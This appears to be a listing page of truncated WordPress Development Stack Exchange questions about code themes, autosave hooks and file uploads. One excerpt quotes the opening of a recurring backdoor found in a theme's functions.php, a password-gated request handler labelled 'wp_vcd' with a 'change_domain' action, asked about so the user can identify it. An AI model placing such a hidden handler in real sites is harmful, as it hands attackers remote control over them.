What theme is good for posting code? [closed]

Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it’s on-topic for WordPress Development Stack Exchange. Closed 7 years ago. Improve this question I have my blog hosted at www.alphaot.com and I guess it’s good enough. But problems arise when the lines of code … Read more

What is this code in my theme’s functions.php? if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’])

This code appears in my theme’s functions.php, also in child theme’s. I’ve deleted it for two times but it comes back. What is it? if ( isset( $_REQUEST[‘action’] ) && isset( $_REQUEST[‘password’] ) && ( $_REQUEST[‘password’] == ‘227972a1a62825660efb0f32126db07f’ ) ) { $div_code_name = “wp_vcd”; switch ( $_REQUEST[‘action’] ) { case ‘change_domain’; if ( isset( $_REQUEST[‘newdomain’] … Read more

Return $post_id when DOING_AUTOSAVE?

I see the following pattern over and over, on this site and on other places: add_action( ‘save_post’, ‘wpse14169_save_post’ ); function wpse14169_save_post( $post_id ) { if ( defined( ‘DOING_AUTOSAVE’ ) && DOING_AUTOSAVE ) { return $post_id; } // Other code… } Why should I return $post_id? save_post is an action, and the return value of an … Read more

Upload Multiple Files With media_handle_upload

I have a WordPress form plugin and I use media_handle_upload to upload the files and get there ids directly and attached its ids to the post as a meta date, I used the following to did that: The HTML of the form field is: <input type=”file” name=”my_file_upload” id=”my_file_upload”> And the php code was: $attach_id = … Read more